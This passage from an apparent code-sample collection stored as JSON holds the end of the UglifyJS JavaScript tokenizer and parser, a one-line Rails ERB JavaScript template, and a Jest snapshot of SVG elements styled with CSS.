(ch == \"\\n\") {\n                        S.newline_before = true;\n                        ++S.line;\n                        S.col = 0;\n                } else {\n                        ++S.col;\n                }\n                return ch;\n        };\n\n        function eof() {\n                return !S.peek();\n        };\n\n        function find(what, signal_eof) {\n                var pos = S.text.indexOf(what, S.pos);\n                if (signal_eof && pos == -1) throw EX_EOF;\n                return pos;\n        };\n\n        function start_token() {\n                S.tokline = S.line;\n                S.tokcol = S.col;\n                S.tokpos = S.pos;\n        };\n\n        function token(type, value, is_comment) {\n                S.regex_allowed = ((type == \"operator\" && !HOP(UNARY_POSTFIX, value)) ||\n                                   (type == \"keyword\" && HOP(KEYWORDS_BEFORE_EXPRESSION, value)) ||\n                                   (type == \"punc\" && HOP(PUNC_BEFORE_EXPRESSION, value)));\n                var ret = {\n                        type  : type,\n                        value : value,\n                        line  : S.tokline,\n                        col   : S.tokcol,\n                        pos   : S.tokpos,\n                        nlb   : S.newline_before\n                };\n                if (!is_comment) {\n                        ret.comments_before = S.comments_before;\n                        S.comments_before = [];\n                }\n                S.newline_before = false;\n                return ret;\n        };\n\n        function skip_whitespace() {\n                while (HOP(WHITESPACE_CHARS, peek()))\n                        next();\n        };\n\n        function read_while(pred) {\n                var ret = \"\", ch = peek(), i = 0;\n                while (ch && pred(ch, i++)) {\n                        ret += next();\n                        ch = peek();\n                }\n                return ret;\n        };\n\n        function parse_error(err) {\n                js_error(err, S.tokline, S.tokcol, S.tokpos);\n        };\n\n        function read_num(prefix) {\n                var has_e = false, after_e = false, has_x = false, has_dot = prefix == \".\";\n                var num = read_while(function(ch, i){\n                        if (ch == \"x\" || ch == \"X\") {\n                                if (has_x) return false;\n                                return has_x = true;\n                        }\n                        if (!has_x && (ch == \"E\" || ch == \"e\")) {\n                                if (has_e) return false;\n                                return has_e = after_e = true;\n                        }\n                        if (ch == \"-\") {\n                                if (after_e || (i == 0 && !prefix)) return true;\n                                return false;\n                        }\n                        if (ch == \"+\") return after_e;\n                        after_e = false;\n                        if (ch == \".\") {\n                                if (!has_dot && !has_x)\n                                        return has_dot = true;\n                                return false;\n                        }\n                        return is_alphanumeric_char(ch);\n                });\n                if (prefix)\n                        num = prefix + num;\n                var valid = parse_js_number(num);\n                if (!isNaN(valid)) {\n                        return token(\"num\", valid);\n                } else {\n                        parse_error(\"Invalid syntax: \" + num);\n                }\n        };\n\n        function read_escaped_char() {\n                var ch = next(true);\n                switch (ch) {\n                    case \"n\" : return \"\\n\";\n                    case \"r\" : return \"\\r\";\n                    case \"t\" : return \"\\t\";\n                    case \"b\" : return \"\\b\";\n                    case \"v\" : return \"\\v\";\n                    case \"f\" : return \"\\f\";\n                    case \"0\" : return \"\\0\";\n                    case \"x\" : return String.fromCharCode(hex_bytes(2));\n                    case \"u\" : return String.fromCharCode(hex_bytes(4));\n                    default  : return ch;\n                }\n        };\n\n        function hex_bytes(n) {\n                var num = 0;\n                for (; n > 0; --n) {\n                        var digit = parseInt(next(true), 16);\n                        if (isNaN(digit))\n                                parse_error(\"Invalid hex-character pattern in string\");\n                        num = (num << 4) | digit;\n                }\n                return num;\n        };\n\n        function read_string() {\n                return with_eof_error(\"Unterminated string constant\", function(){\n                        var quote = next(), ret = \"\";\n                        for (;;) {\n                                var ch = next(true);\n                                if (ch == \"\\\\\") ch = read_escaped_char();\n                                else if (ch == quote) break;\n                                ret += ch;\n                        }\n                        return token(\"string\", ret);\n                });\n        };\n\n        function read_line_comment() {\n                next();\n                var i = find(\"\\n\"), ret;\n                if (i == -1) {\n                        ret = S.text.substr(S.pos);\n                        S.pos = S.text.length;\n                } else {\n                        ret = S.text.substring(S.pos, i);\n                        S.pos = i;\n                }\n                return token(\"comment1\", ret, true);\n        };\n\n        function read_multiline_comment() {\n                next();\n                return with_eof_error(\"Unterminated multiline comment\", function(){\n                        var i = find(\"*/\", true),\n                            text = S.text.substring(S.pos, i),\n                            tok = token(\"comment2\", text, true);\n                        S.pos = i + 2;\n                        S.line += text.split(\"\\n\").length - 1;\n                        S.newline_before = text.indexOf(\"\\n\") >= 0;\n\n                        // https://github.com/mishoo/UglifyJS/issues/#issue/100\n                        if (/^@cc_on/i.test(text)) {\n                                warn(\"WARNING: at line \" + S.line);\n                                warn(\"*** Found \\\"conditional comment\\\": \" + text);\n                                warn(\"*** UglifyJS DISCARDS ALL COMMENTS.  This means your code might no longer work properly in Internet Explorer.\");\n                        }\n\n                        return tok;\n                });\n        };\n\n        function read_name() {\n                var backslash = false, name = \"\", ch;\n                while ((ch = peek()) != null) {\n                        if (!backslash) {\n                                if (ch == \"\\\\\") backslash = true, next();\n                                else if (is_identifier_char(ch)) name += next();\n                                else break;\n                        }\n                        else {\n                                if (ch != \"u\") parse_error(\"Expecting UnicodeEscapeSequence -- uXXXX\");\n                                ch = read_escaped_char();\n                                if (!is_identifier_char(ch)) parse_error(\"Unicode char: \" + ch.charCodeAt(0) + \" is not valid in identifier\");\n                                name += ch;\n                                backslash = false;\n                        }\n                }\n                return name;\n        };\n\n        function read_regexp() {\n                return with_eof_error(\"Unterminated regular expression\", function(){\n                        var prev_backslash = false, regexp = \"\", ch, in_class = false;\n                        while ((ch = next(true))) if (prev_backslash) {\n                                regexp += \"\\\\\" + ch;\n                                prev_backslash = false;\n                        } else if (ch == \"[\") {\n                                in_class = true;\n                                regexp += ch;\n                        } else if (ch == \"]\" && in_class) {\n                                in_class = false;\n                                regexp += ch;\n                        } else if (ch == \"/\" && !in_class) {\n                                break;\n                        } else if (ch == \"\\\\\") {\n                                prev_backslash = true;\n                        } else {\n                                regexp += ch;\n                        }\n                        var mods = read_name();\n                        return token(\"regexp\", [ regexp, mods ]);\n                });\n        };\n\n        function read_operator(prefix) {\n                function grow(op) {\n                        if (!peek()) return op;\n                        var bigger = op + peek();\n                        if (HOP(OPERATORS, bigger)) {\n                                next();\n                                return grow(bigger);\n                        } else {\n                                return op;\n                        }\n                };\n                return token(\"operator\", grow(prefix || next()));\n        };\n\n        function handle_slash() {\n                next();\n                var regex_allowed = S.regex_allowed;\n                switch (peek()) {\n                    case \"/\":\n                        S.comments_before.push(read_line_comment());\n                        S.regex_allowed = regex_allowed;\n                        return next_token();\n                    case \"*\":\n                        S.comments_before.push(read_multiline_comment());\n                        S.regex_allowed = regex_allowed;\n                        return next_token();\n                }\n                return S.regex_allowed ? read_regexp() : read_operator(\"/\");\n        };\n\n        function handle_dot() {\n                next();\n                return is_digit(peek())\n                        ? read_num(\".\")\n                        : token(\"punc\", \".\");\n        };\n\n        function read_word() {\n                var word = read_name();\n                return !HOP(KEYWORDS, word)\n                        ? token(\"name\", word)\n                        : HOP(OPERATORS, word)\n                        ? token(\"operator\", word)\n                        : HOP(KEYWORDS_ATOM, word)\n                        ? token(\"atom\", word)\n                        : token(\"keyword\", word);\n        };\n\n        function with_eof_error(eof_error, cont) {\n                try {\n                        return cont();\n                } catch(ex) {\n                        if (ex === EX_EOF) parse_error(eof_error);\n                        else throw ex;\n                }\n        };\n\n        function next_token(force_regexp) {\n                if (force_regexp)\n                        return read_regexp();\n                skip_whitespace();\n                start_token();\n                var ch = peek();\n                if (!ch) return token(\"eof\");\n                if (is_digit(ch)) return read_num();\n                if (ch == '\"' || ch == \"'\") return read_string();\n                if (HOP(PUNC_CHARS, ch)) return token(\"punc\", next());\n                if (ch == \".\") return handle_dot();\n                if (ch == \"/\") return handle_slash();\n                if (HOP(OPERATOR_CHARS, ch)) return read_operator();\n                if (ch == \"\\\\\" || is_identifier_start(ch)) return read_word();\n                parse_error(\"Unexpected character '\" + ch + \"'\");\n        };\n\n        next_token.context = function(nc) {\n                if (nc) S = nc;\n                return S;\n        };\n\n        return next_token;\n\n};\n\n/* -----[ Parser (constants) ]----- */\n\nvar UNARY_PREFIX = array_to_hash([\n        \"typeof\",\n        \"void\",\n        \"delete\",\n        \"--\",\n        \"++\",\n        \"!\",\n        \"~\",\n        \"-\",\n        \"+\"\n]);\n\nvar UNARY_POSTFIX = array_to_hash([ \"--\", \"++\" ]);\n\nvar ASSIGNMENT = (function(a, ret, i){\n        while (i < a.length) {\n                ret[a[i]] = a[i].substr(0, a[i].length - 1);\n                i++;\n        }\n        return ret;\n})(\n        [\"+=\", \"-=\", \"/=\", \"*=\", \"%=\", \">>=\", \"<<=\", \">>>=\", \"|=\", \"^=\", \"&=\"],\n        { \"=\": true },\n        0\n);\n\nvar PRECEDENCE = (function(a, ret){\n        for (var i = 0, n = 1; i < a.length; ++i, ++n) {\n                var b = a[i];\n                for (var j = 0; j < b.length; ++j) {\n                        ret[b[j]] = n;\n                }\n        }\n        return ret;\n})(\n        [\n                [\"||\"],\n                [\"&&\"],\n                [\"|\"],\n                [\"^\"],\n                [\"&\"],\n                [\"==\", \"===\", \"!=\", \"!==\"],\n                [\"<\", \">\", \"<=\", \">=\", \"in\", \"instanceof\"],\n                [\">>\", \"<<\", \">>>\"],\n                [\"+\", \"-\"],\n                [\"*\", \"/\", \"%\"]\n        ],\n        {}\n);\n\nvar STATEMENTS_WITH_LABELS = array_to_hash([ \"for\", \"do\", \"while\", \"switch\" ]);\n\nvar ATOMIC_START_TOKEN = array_to_hash([ \"atom\", \"num\", \"string\", \"regexp\", \"name\" ]);\n\n/* -----[ Parser ]----- */\n\nfunction NodeWithToken(str, start, end) {\n        this.name = str;\n        this.start = start;\n        this.end = end;\n};\n\nNodeWithToken.prototype.toString = function() { return this.name; };\n\nfunction parse($TEXT, exigent_mode, embed_tokens) {\n\n        var S = {\n                input       : typeof $TEXT == \"string\" ? tokenizer($TEXT, true) : $TEXT,\n                token       : null,\n                prev        : null,\n                peeked      : null,\n                in_function : 0,\n                in_loop     : 0,\n                labels      : []\n        };\n\n        S.token = next();\n\n        function is(type, value) {\n                return is_token(S.token, type, value);\n        };\n\n        function peek() { return S.peeked || (S.peeked = S.input()); };\n\n        function next() {\n                S.prev = S.token;\n                if (S.peeked) {\n                        S.token = S.peeked;\n                        S.peeked = null;\n                } else {\n                        S.token = S.input();\n                }\n                return S.token;\n        };\n\n        function prev() {\n                return S.prev;\n        };\n\n        function croak(msg, line, col, pos) {\n                var ctx = S.input.context();\n                js_error(msg,\n                         line != null ? line : ctx.tokline,\n                         col != null ? col : ctx.tokcol,\n                         pos != null ? pos : ctx.tokpos);\n        };\n\n        function token_error(token, msg) {\n                croak(msg, token.line, token.col);\n        };\n\n        function unexpected(token) {\n                if (token == null)\n                        token = S.token;\n                token_error(token, \"Unexpected token: \" + token.type + \" (\" + token.value + \")\");\n        };\n\n        function expect_token(type, val) {\n                if (is(type, val)) {\n                        return next();\n                }\n                token_error(S.token, \"Unexpected token \" + S.token.type + \", expected \" + type);\n        };\n\n        function expect(punc) { return expect_token(\"punc\", punc); };\n\n        function can_insert_semicolon() {\n                return !exigent_mode && (\n                        S.token.nlb || is(\"eof\") || is(\"punc\", \"}\")\n                );\n        };\n\n        function semicolon() {\n                if (is(\"punc\", \";\")) next();\n                else if (!can_insert_semicolon()) unexpected();\n        };\n\n        function as() {\n                return slice(arguments);\n        };\n\n        function parenthesised() {\n                expect(\"(\");\n                var ex = expression();\n                expect(\")\");\n                return ex;\n        };\n\n        function add_tokens(str, start, end) {\n                return str instanceof NodeWithToken ? str : new NodeWithToken(str, start, end);\n        };\n\n        function maybe_embed_tokens(parser) {\n                if (embed_tokens) return function() {\n                        var start = S.token;\n                        var ast = parser.apply(this, arguments);\n                        ast[0] = add_tokens(ast[0], start, prev());\n                        return ast;\n                };\n                else return parser;\n        };\n\n        var statement = maybe_embed_tokens(function() {\n                if (is(\"operator\", \"/\")) {\n                        S.peeked = null;\n                        S.token = S.input(true); // force regexp\n                }\n                switch (S.token.type) {\n                    case \"num\":\n                    case \"string\":\n                    case \"regexp\":\n                    case \"operator\":\n                    case \"atom\":\n                        return simple_statement();\n\n                    case \"name\":\n                        return is_token(peek(), \"punc\", \":\")\n                                ? labeled_statement(prog1(S.token.value, next, next))\n                                : simple_statement();\n\n                    case \"punc\":\n                        switch (S.token.value) {\n                            case \"{\":\n                                return as(\"block\", block_());\n                            case \"[\":\n                            case \"(\":\n                                return simple_statement();\n                            case \";\":\n                                next();\n                                return as(\"block\");\n                            default:\n                                unexpected();\n                        }\n\n                    case \"keyword\":\n                        switch (prog1(S.token.value, next)) {\n                            case \"break\":\n                                return break_cont(\"break\");\n\n                            case \"continue\":\n                                return break_cont(\"continue\");\n\n                            case \"debugger\":\n                                semicolon();\n                                return as(\"debugger\");\n\n                            case \"do\":\n                                return (function(body){\n                                        expect_token(\"keyword\", \"while\");\n                                        return as(\"do\", prog1(parenthesised, semicolon), body);\n                                })(in_loop(statement));\n\n                            case \"for\":\n                                return for_();\n\n                            case \"function\":\n                                return function_(true);\n\n                            case \"if\":\n                                return if_();\n\n                            case \"return\":\n                                if (S.in_function == 0)\n                                        croak(\"'return' outside of function\");\n                                return as(\"return\",\n                                          is(\"punc\", \";\")\n                                          ? (next(), null)\n                                          : can_insert_semicolon()\n                                          ? null\n                                          : prog1(expression, semicolon));\n\n                            case \"switch\":\n                                return as(\"switch\", parenthesised(), switch_block_());\n\n                            case \"throw\":\n                                return as(\"throw\", prog1(expression, semicolon));\n\n                            case \"try\":\n                                return try_();\n\n                            case \"var\":\n                                return prog1(var_, semicolon);\n\n                            case \"const\":\n                                return prog1(const_, semicolon);\n\n                            case \"while\":\n                                return as(\"while\", parenthesised(), in_loop(statement));\n\n                            case \"with\":\n                                return as(\"with\", parenthesised(), statement());\n\n                            default:\n                                unexpected();\n                        }\n                }\n        });\n\n        function labeled_statement(label) {\n                S.labels.push(label);\n                var start = S.token, stat = statement();\n                if (exigent_mode && !HOP(STATEMENTS_WITH_LABELS, stat[0]))\n                        unexpected(start);\n                S.labels.pop();\n                return as(\"label\", label, stat);\n        };\n\n        function simple_statement() {\n                return as(\"stat\", prog1(expression, semicolon));\n        };\n\n        function break_cont(type) {\n                var name;\n                if (!can_insert_semicolon()) {\n                        name = is(\"name\") ? S.token.value : null;\n                }\n                if (name != null) {\n                        next();\n                        if (!member(name, S.labels))\n                                croak(\"Label \" + name + \" without matching loop or statement\");\n                }\n                else if (S.in_loop == 0)\n                        croak(type + \" not inside a loop or switch\");\n                semicolon();\n                return as(type, name);\n        };\n\n        function for_() {\n                expect(\"(\");\n                var init = null;\n                if (!is(\"punc\", \";\")) {\n                        init = is(\"keyword\", \"var\")\n                                ? (next(), var_(true))\n                                : expression(true, true);\n                        if (is(\"operator\", \"in\"))\n                                return for_in(init);\n                }\n                return regular_for(init);\n        };\n\n        function regular_for(init) {\n                expect(\";\");\n                var test = is(\"punc\", \";\") ? null : expression();\n                expect(\";\");\n                var step = is(\"punc\", \")\") ? null : expression();\n                expect(\")\");\n                return as(\"for\", init, test, step, in_loop(statement));\n        };\n\n        function for_in(init) {\n                var lhs = init[0] == \"var\" ? as(\"name\", init[1][0]) : init;\n                next();\n                var obj = expression();\n                expect(\")\");\n                return as(\"for-in\", init, lhs, obj, in_loop(statement));\n        };\n\n        var function_ = maybe_embed_tokens(function(in_statement) {\n                var name = is(\"name\") ? prog1(S.token.value, next) : null;\n                if (in_statement && !name)\n                        unexpected();\n                expect(\"(\");\n                return as(in_statement ? \"defun\" : \"function\",\n                          name,\n                          // arguments\n                          (function(first, a){\n                                  while (!is(\"punc\", \")\")) {\n                                          if (first) first = false; else expect(\",\");\n                                          if (!is(\"name\")) unexpected();\n                                          a.push(S.token.value);\n                                          next();\n                                  }\n                                  next();\n                                  return a;\n                          })(true, []),\n                          // body\n                          (function(){\n                                  ++S.in_function;\n                                  var loop = S.in_loop;\n                                  S.in_loop = 0;\n                                  var a = block_();\n                                  --S.in_function;\n                                  S.in_loop = loop;\n                                  return a;\n                          })());\n        });\n\n        function if_() {\n                var cond = parenthesised(), body = statement(), belse;\n                if (is(\"keyword\", \"else\")) {\n                        next();\n                        belse = statement();\n                }\n                return as(\"if\", cond, body, belse);\n        };\n\n        function block_() {\n                expect(\"{\");\n                var a = [];\n                while (!is(\"punc\", \"}\")) {\n                        if (is(\"eof\")) unexpected();\n                        a.push(statement());\n                }\n                next();\n                return a;\n        };\n\n        var switch_block_ = curry(in_loop, function(){\n                expect(\"{\");\n                var a = [], cur = null;\n                while (!is(\"punc\", \"}\")) {\n                        if (is(\"eof\")) unexpected();\n                        if (is(\"keyword\", \"case\")) {\n                                next();\n                                cur = [];\n                                a.push([ expression(), cur ]);\n                                expect(\":\");\n                        }\n                        else if (is(\"keyword\", \"default\")) {\n                                next();\n                                expect(\":\");\n                                cur = [];\n                                a.push([ null, cur ]);\n                        }\n                        else {\n                                if (!cur) unexpected();\n                                cur.push(statement());\n                        }\n                }\n                next();\n                return a;\n        });\n\n        function try_() {\n                var body = block_(), bcatch, bfinally;\n                if (is(\"keyword\", \"catch\")) {\n                        next();\n                        expect(\"(\");\n                        if (!is(\"name\"))\n                                croak(\"Name expected\");\n                        var name = S.token.value;\n                        next();\n                        expect(\")\");\n                        bcatch = [ name, block_() ];\n                }\n                if (is(\"keyword\", \"finally\")) {\n                        next();\n                        bfinally = block_();\n                }\n                if (!bcatch && !bfinally)\n                        croak(\"Missing catch/finally blocks\");\n                return as(\"try\", body, bcatch, bfinally);\n        };\n\n        function vardefs(no_in) {\n                var a = [];\n                for (;;) {\n                        if (!is(\"name\"))\n                                unexpected();\n                        var name = S.token.value;\n                        next();\n                        if (is(\"operator\", \"=\")) {\n                                next();\n                                a.push([ name, expression(false, no_in) ]);\n                        } else {\n                                a.push([ name ]);\n                        }\n                        if (!is(\"punc\", \",\"))\n                                break;\n                        next();\n                }\n                return a;\n        };\n\n        function var_(no_in) {\n                return as(\"var\", vardefs(no_in));\n        };\n\n        function const_() {\n                return as(\"const\", vardefs());\n        };\n\n        function new_() {\n                var newexp = expr_atom(false), args;\n                if (is(\"punc\", \"(\")) {\n                        next();\n                        args = expr_list(\")\");\n                } else {\n                        args = [];\n                }\n                return subscripts(as(\"new\", newexp, args), true);\n        };\n\n        var expr_atom = maybe_embed_tokens(function(allow_calls) {\n                if (is(\"operator\", \"new\")) {\n                        next();\n                        return new_();\n                }\n                if (is(\"operator\") && HOP(UNARY_PREFIX, S.token.value)) {\n                        return make_unary(\"unary-prefix\",\n                                          prog1(S.token.value, next),\n                                          expr_atom(allow_calls));\n                }\n                if (is(\"punc\")) {\n                        switch (S.token.value) {\n                            case \"(\":\n                                next();\n                                return subscripts(prog1(expression, curry(expect, \")\")), allow_calls);\n                            case \"[\":\n                                next();\n                                return subscripts(array_(), allow_calls);\n                            case \"{\":\n                                next();\n                                return subscripts(object_(), allow_calls);\n                        }\n                        unexpected();\n                }\n                if (is(\"keyword\", \"function\")) {\n                        next();\n                        return subscripts(function_(false), allow_calls);\n                }\n                if (HOP(ATOMIC_START_TOKEN, S.token.type)) {\n                        var atom = S.token.type == \"regexp\"\n                                ? as(\"regexp\", S.token.value[0], S.token.value[1])\n                                : as(S.token.type, S.token.value);\n                        return subscripts(prog1(atom, next), allow_calls);\n                }\n                unexpected();\n        });\n\n        function expr_list(closing, allow_trailing_comma, allow_empty) {\n                var first = true, a = [];\n                while (!is(\"punc\", closing)) {\n                        if (first) first = false; else expect(\",\");\n                        if (allow_trailing_comma && is(\"punc\", closing)) break;\n                        if (is(\"punc\", \",\") && allow_empty) {\n                                a.push([ \"atom\", \"undefined\" ]);\n                        } else {\n                                a.push(expression(false));\n                        }\n                }\n                next();\n                return a;\n        };\n\n        function array_() {\n                return as(\"array\", expr_list(\"]\", !exigent_mode, true));\n        };\n\n        function object_() {\n                var first = true, a = [];\n                while (!is(\"punc\", \"}\")) {\n                        if (first) first = false; else expect(\",\");\n                        if (!exigent_mode && is(\"punc\", \"}\"))\n                                // allow trailing comma\n                                break;\n                        var type = S.token.type;\n                        var name = as_property_name();\n                        if (type == \"name\" && (name == \"get\" || name == \"set\") && !is(\"punc\", \":\")) {\n                                a.push([ as_name(), function_(false), name ]);\n                        } else {\n                                expect(\":\");\n                                a.push([ name, expression(false) ]);\n                        }\n                }\n                next();\n                return as(\"object\", a);\n        };\n\n        function as_property_name() {\n                switch (S.token.type) {\n                    case \"num\":\n                    case \"string\":\n                        return prog1(S.token.value, next);\n                }\n                return as_name();\n        };\n\n        function as_name() {\n                switch (S.token.type) {\n                    case \"name\":\n                    case \"operator\":\n                    case \"keyword\":\n                    case \"atom\":\n                        return prog1(S.token.value, next);\n                    default:\n                        unexpected();\n                }\n        };\n\n        function subscripts(expr, allow_calls) {\n                if (is(\"punc\", \".\")) {\n                        next();\n                        return subscripts(as(\"dot\", expr, as_name()), allow_calls);\n                }\n                if (is(\"punc\", \"[\")) {\n                        next();\n                        return subscripts(as(\"sub\", expr, prog1(expression, curry(expect, \"]\"))), allow_calls);\n                }\n                if (allow_calls && is(\"punc\", \"(\")) {\n                        next();\n                        return subscripts(as(\"call\", expr, expr_list(\")\")), true);\n                }\n                if (allow_calls && is(\"operator\") && HOP(UNARY_POSTFIX, S.token.value)) {\n                        return prog1(curry(make_unary, \"unary-postfix\", S.token.value, expr),\n                                     next);\n                }\n                return expr;\n        };\n\n        function make_unary(tag, op, expr) {\n                if ((op == \"++\" || op == \"--\") && !is_assignable(expr))\n                        croak(\"Invalid use of \" + op + \" operator\");\n                return as(tag, op, expr);\n        };\n\n        function expr_op(left, min_prec, no_in) {\n                var op = is(\"operator\") ? S.token.value : null;\n                if (op && op == \"in\" && no_in) op = null;\n                var prec = op != null ? PRECEDENCE[op] : null;\n                if (prec != null && prec > min_prec) {\n                        next();\n                        var right = expr_op(expr_atom(true), prec, no_in);\n                        return expr_op(as(\"binary\", op, left, right), min_prec, no_in);\n                }\n                return left;\n        };\n\n        function expr_ops(no_in) {\n                return expr_op(expr_atom(true), 0, no_in);\n        };\n\n        function maybe_conditional(no_in) {\n                var expr = expr_ops(no_in);\n                if (is(\"operator\", \"?\")) {\n                        next();\n                        var yes = expression(false);\n                        expect(\":\");\n                        return as(\"conditional\", expr, yes, expression(false, no_in));\n                }\n                return expr;\n        };\n\n        function is_assignable(expr) {\n                if (!exigent_mode) return true;\n                switch (expr[0]) {\n                    case \"dot\":\n                    case \"sub\":\n                    case \"new\":\n                    case \"call\":\n                        return true;\n                    case \"name\":\n                        return expr[1] != \"this\";\n                }\n        };\n\n        function maybe_assign(no_in) {\n                var left = maybe_conditional(no_in), val = S.token.value;\n                if (is(\"operator\") && HOP(ASSIGNMENT, val)) {\n                        if (is_assignable(left)) {\n                                next();\n                                return as(\"assign\", ASSIGNMENT[val], left, maybe_assign(no_in));\n                        }\n                        croak(\"Invalid assignment\");\n                }\n                return left;\n        };\n\n        var expression = maybe_embed_tokens(function(commas, no_in) {\n                if (arguments.length == 0)\n                        commas = true;\n                var expr = maybe_assign(no_in);\n                if (commas && is(\"punc\", \",\")) {\n                        next();\n                        return as(\"seq\", expr, expression(true, no_in));\n                }\n                return expr;\n        });\n\n        function in_loop(cont) {\n                try {\n                        ++S.in_loop;\n                        return cont();\n                } finally {\n                        --S.in_loop;\n                }\n        };\n\n        return as(\"toplevel\", (function(a){\n                while (!is(\"eof\"))\n                        a.push(statement());\n                return a;\n        })([]));\n\n};\n\n/* -----[ Utilities ]----- */\n\nfunction curry(f) {\n        var args = slice(arguments, 1);\n        return function() { return f.apply(this, args.concat(slice(arguments))); };\n};\n\nfunction prog1(ret) {\n        if (ret instanceof Function)\n                ret = ret();\n        for (var i = 1, n = arguments.length; --n > 0; ++i)\n                arguments[i]();\n        return ret;\n};\n\nfunction array_to_hash(a) {\n        var ret = {};\n        for (var i = 0; i < a.length; ++i)\n                ret[a[i]] = true;\n        return ret;\n};\n\nfunction slice(a, start) {\n        return Array.prototype.slice.call(a, start == null ? 0 : start);\n};\n\nfunction characters(str) {\n        return str.split(\"\");\n};\n\nfunction member(name, array) {\n        for (var i = array.length; --i >= 0;)\n                if (array[i] === name)\n                        return true;\n        return false;\n};\n\nfunction HOP(obj, prop) {\n        return Object.prototype.hasOwnProperty.call(obj, prop);\n};\n\nvar warn = function() {};\n\n/* -----[ Exports ]----- */\n\nexports.tokenizer = tokenizer;\nexports.parse = parse;\nexports.slice = slice;\nexports.curry = curry;\nexports.member = member;\nexports.array_to_hash = array_to_hash;\nexports.PRECEDENCE = PRECEDENCE;\nexports.KEYWORDS_ATOM = KEYWORDS_ATOM;\nexports.RESERVED_WORDS = RESERVED_WORDS;\nexports.KEYWORDS = KEYWORDS;\nexports.ATOMIC_START_TOKEN = ATOMIC_START_TOKEN;\nexports.OPERATORS = OPERATORS;\nexports.is_alphanumeric_char = is_alphanumeric_char;\nexports.set_logger = function(logger) {\n        warn = logger;\n};\n"
  },
  {
    "path": "samples/JavaScript+ERB/create.js.erb",
    "content": "$(\"<%= escape_javascript(render @model) %>\").appendTo(\"#models\");\n"
  },
  {
    "path": "samples/Jest Snapshot/css.test.tsx.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`inlines styles 1`] = `\nObject {\n  \"Tag\": [Function],\n  \"children\": Array [\n    <Defs>\n      <missingTag\n        type=\"text/css\"\n      >\n\n      /* tag selector */\n      rect {\n        stroke: blue;\n        fill: yellow\n      }\n\n      /* class selector */\n      .redbox { fill: red; }\n\n      /* multiple selectors */\n      g .class-1, g .class-2 {\n        stroke-width: 16\n      }\n\n      /* two classes */\n      .class-2.transparent {\n        fill-opacity: 0.3;\n      }\n\n      /* Commented out\n      rect {\n        fill: black;\n      }\n      */\n\n      </missingTag>\n    </Defs>,\n    <G>\n      <Rect\n        class=\"redbox class-1\"\n        height={200}\n        style={\n          Object {\n            \"fill\": \"red\",\n            \"stroke\": \"blue\",\n            \"strokeWidth\": \"16\",\n          }\n        }\n        width={1000}\n        x={100}\n        y={0}\n      />\n    </G>,\n    <G>\n      <Rect\n        class=\"redbox class-2 transparent\"\n        height={200}\n        style={\n          Object {\n            \"fill\": \"red\",\n            \"fillOpacity\": \"0.3\",\n            \"stroke\": \"blue\",\n            \"strokeWidth\": \"16\",\n          }\n        }\n        width={750}\n        x={100}\n        y={350}\n      />\n    </G>,\n  ],\n  \"parent\": null,\n  \"props\": Object {\n    \"height\": \"100%\",\n    \"version\": 1.1,\n    \"viewBox\": \"0 0 1000 500\",\n    \"width\": \"100%\",\n    \"xmlns\": \"http://www.w3.org/2000/svg\",\n  },\n  \"tag\": \"svg\",\n}\n`;\n\nexports[`supports CSS in style element 1`] = `\n<RNSVGSvgView\n  align=\"xMidYMid\"\n  bbHeight=\"100%\"\n  bbWidth=\"100%\"\n  focusable={false}\n  height=\"100%\"\n  meetOrSlice={0}\n  minX={0}\n  minY={0}\n  style={\n    Array [\n      Object {\n        \"backgroundColor\": \"transparent\",\n        \"borderWidth\": 0,\n      },\n      Object {\n        \"flex\": 0,\n        \"height\": \"100%\",\n        \"width\": \"100%\",\n      },\n    ]\n  }\n  vbHeight={500}\n  vbWidth={1000}\n  version={1.1}\n  width=\"100%\"\n  xml=\"<?xml version=\\\\\"1.0\\\\\" standalone=\\\\\"no\\\\\"?>\n<!DOCTYPE svg PUBLIC \\\\\"-//W3C//DTD SVG 1.1//EN\\\\\"\n  \\\\\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\\\\\">\n<svg xmlns=\\\\\"http://www.w3.org/2000/svg\\\\\" version=\\\\\"1.1\\\\\"\n     width=\\\\\"100%\\\\\" height=\\\\\"100%\\\\\" viewBox=\\\\\"0 0 1000 500\\\\\">\n  <defs>\n    <style type=\\\\\"text/css\\\\\">\n      /* tag selector */\n      rect {\n        stroke: blue;\n        fill: yellow\n      }\n\n      /* class selector */\n      .redbox { fill: red; }\n\n      /* multiple selectors */\n      g .class-1, g .class-2 {\n        stroke-width: 16\n      }\n\n      /* two classes */\n      .class-2.transparent {\n        fill-opacity: 0.3;\n      }\n\n      /* Commented out\n      rect {\n        fill: black;\n      }\n      */\n    </style>\n  </defs>\n  <g>\n    <rect class=\\\\\"redbox class-1\\\\\" x=\\\\\"100\\\\\" y=\\\\\"0\\\\\" width=\\\\\"1000\\\\\" height=\\\\\"200\\\\\" />\n  </g>\n  <g>\n    <rect class=\\\\\"redbox class-2 transparent\\\\\" x=\\\\\"100\\\\\" y=\\\\\"350\\\\\" width=\\\\\"750\\\\\" height=\\\\\"200\\\\\" />\n  </g>\n</svg>\"\n  xmlns=\"http://www.w3.org/2000/svg\"\n>\n  <RNSVGGroup>\n    <RNSVGDefs />\n    <RNSVGGroup>\n      <RNSVGRect\n        fill={4294901760}\n        height={200}\n        propList={\n          Array [\n            \"fill\",\n            \"stroke\",\n            \"strokeWidth\",\n          ]\n        }\n        stroke={4278190335}\n        strokeWidth=\"16\"\n        width={1000}\n        x={100}\n        y={0}\n      />\n    </RNSVGGroup>\n    <RNSVGGroup>\n      <RNSVGRect\n        fill={4294901760}\n        fillOpacity={0.3}\n        height={200}\n        propList={\n          Array [\n            \"fill\",\n            \"fillOpacity\",\n            \"stroke\",\n            \"strokeWidth\",\n          ]\n        }\n        stroke={4278190335}\n        strokeWidth=\"16\"\n        width={750}\n        x={100}\n        y={350}\n      />\n    </RNSVGGroup>\n  </RNSVGGroup>\n</RNSVGSvgView>\n`;\n"
  },
  {
    "path": "samples/JetBrains MPS/baselanguage.mpl",
